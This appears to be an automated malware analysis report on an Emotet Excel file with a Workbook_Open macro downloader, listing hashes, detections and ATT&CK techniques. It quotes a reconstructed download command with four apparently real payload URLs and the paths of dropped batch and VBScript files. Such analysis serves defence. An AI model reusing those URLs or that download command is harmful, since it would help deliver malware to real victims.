Emotet Office (OOXML) / .XLSX malware analysis — malicious · 9e8a5f8aff155a52

MALICIOUS

Office (OOXML) / .XLSX

115.1 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000

MD5: 4b23416ee172ae0d94dad5146e1b1e66 SHA-1: c62a4841e31f0f7720e13a7ee55a72c081a66e38 SHA-256: 9e8a5f8aff155a5203ca1f9a853ad91510b189390c69108fa00dff448b77263d

200 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1566.002 Spearphishing Attachment T1059.005 Visual Basic T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The file is an Excel spreadsheet containing VBA macros, as indicated by the OOXML_VBA and OLE_VBA_WBOPEN heuristics. The critical ClamAV detection and the presence of a Workbook_Open macro strongly suggest malicious intent. The script attempts to download and execute a second-stage payload from multiple URLs, including 'http://sumedahonline.com/wp-content/HyzNXJ30XQVBSRH/', by writing batch and VBScript files to disk ('c:\programdata\jledshf.bat', 'c:\programdata\tghklsd.vbs') and then executing them. The reconstructed command line for the download is 'hell -e http://sumedahonline.com/wp-content/HyzNXJ30XQVBSRH/,http://divachintextile.com/wp-incudades/WWHWRKs8KvNzNfM/,http://hotelalandmalabol.com/1520/bUdhoEPdf/,http://shwenantawin.com/copma/XTnZJii02vfg'.

Heuristics 5

ClamAV: Xls.Downloader.EmotetExcel02223-9938902-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.EmotetExcel02223-9938902-0
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA project inside OOXML medium OOXML_VBA

Document contains vbaProject.bin — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	12041 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.
`vbaProject_00.bin` `25fef21603f75634d6c28394a1ebb71428611d77b5fa1666dd5f4337427e1afc`	vba-project	OOXML VBA project: xl/vbaProject.bin	42496 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

Open this report in the interactive analyzer, or submit your own file for analysis.